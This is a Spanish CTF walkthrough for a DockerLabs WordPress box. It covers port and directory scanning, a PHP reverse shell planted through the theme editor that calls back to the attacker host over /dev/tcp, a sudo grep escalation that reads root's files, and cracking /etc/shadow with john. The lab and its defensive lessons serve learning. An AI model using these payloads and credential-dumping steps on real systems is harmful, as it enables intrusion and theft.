Dockerlabs
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. La máquina homónima de DockerLabs monta un WordPress sobre Apache. El foothold es una revshell PHP colocada en el WordPress que dawww-data, y la escalada es un privilegio sudo tan discreto como fatal:grepcomo root. Unsudo greprecursivo sobre el home de root lee sus ficheros (y con ellos su contraseña), de modo quesu rootcierra la caja. De propina, se vuelca/etc/shadowy se crackea con john. Nota: las capturas originales de esta caja son enlaces externos ya no accesibles, así que las salidas se describen en texto y los valores que solo vivían en esas imágenes van como marcadores.
Reconocimiento
Escaneo inicial
El escaneo de puertos deja un único servicio web sobre el puerto 80.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>PORT STATE SERVICE
80/tcp open httpnmap -p80 -sCV <ip> -oN targeted
whatweb http://<ip>Fuzzing de directorios
dirsearch y gobuster (incluyendo la extensión php) descubren la instalación de WordPress:
dirsearch -u http://<ip>
gobuster dir -w directory-list-2.3-medium.txt -u http://<ip> -x php -t 200Shell como www-data
Con acceso al gestor de WordPress, la vía habitual para ejecutar código es el editor de temas/plugins: se inserta un PHP que abre una reverse shell directa contra la máquina atacante (aquí 172.17.0.1, puerto 443):
<?php exec("bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'")?>Con la atacante a la escucha en el 443:
nc -nlvp 443al cargar el recurso cae la shell como www-data.
Escalada de privilegios
www-data → root (sudo grep)
www-data puede ejecutar grep como root sin contraseña:
sudo -lUser www-data may run the following commands:
(root) NOPASSWD: /usr/bin/grepgrep como root es una lectura arbitraria en toda regla (GTFOBins): puede volcar el contenido de cualquier fichero al que solo root tiene acceso. Un recursivo sobre el home de root imprime sus ficheros (y, con ellos, la contraseña que guarda dentro):
sudo -u root grep -r "^[a-zA-Z]" root/Con esa contraseña, se cambia a root:
su rootAdicional: volcar y crackear /etc/shadow
Ya como root (o incluso solo con el sudo grep), se puede volcar /etc/shadow y crackear el hash con john para consolidar la credencial. Los hashes de estas cajas suelen ser yescrypt, que john reconoce con el formato crypt:
cat /etc/shadow
john --format=crypt --wordlist=rockyou.txt hash --fork=5Cadena de ataque
HTTP -> gobuster -> WordPress
└─> editor de tema/plugin -> revshell PHP -> www-data
└─> sudo grep como root (GTFOBins) -> lee la contraseña de root -> su root
└─> (adicional) volcar /etc/shadow + johnLecciones aprendidas
sudo grepes lectura arbitraria como root. Parece inofensivo, pero volcar cualquier fichero (contraseñas,/etc/shadow, claves) es media escalada; GTFOBins lo cataloga por algo.- El editor de WordPress es RCE por diseño. Quien controla el panel puede escribir PHP en el tema activo; restringir el editor (
DISALLOW_FILE_EDIT) corta esta vía tan trillada. - Guardar contraseñas en el home de root es regalarlas. En cuanto un vector concede lectura de esos ficheros, la credencial se filtra sin necesidad de crackear nada.
yescryptse ataca conjohn --format=crypt. Reconocer el algoritmo del hash marca la diferencia entre un crackeo que avanza y uno que no arranca.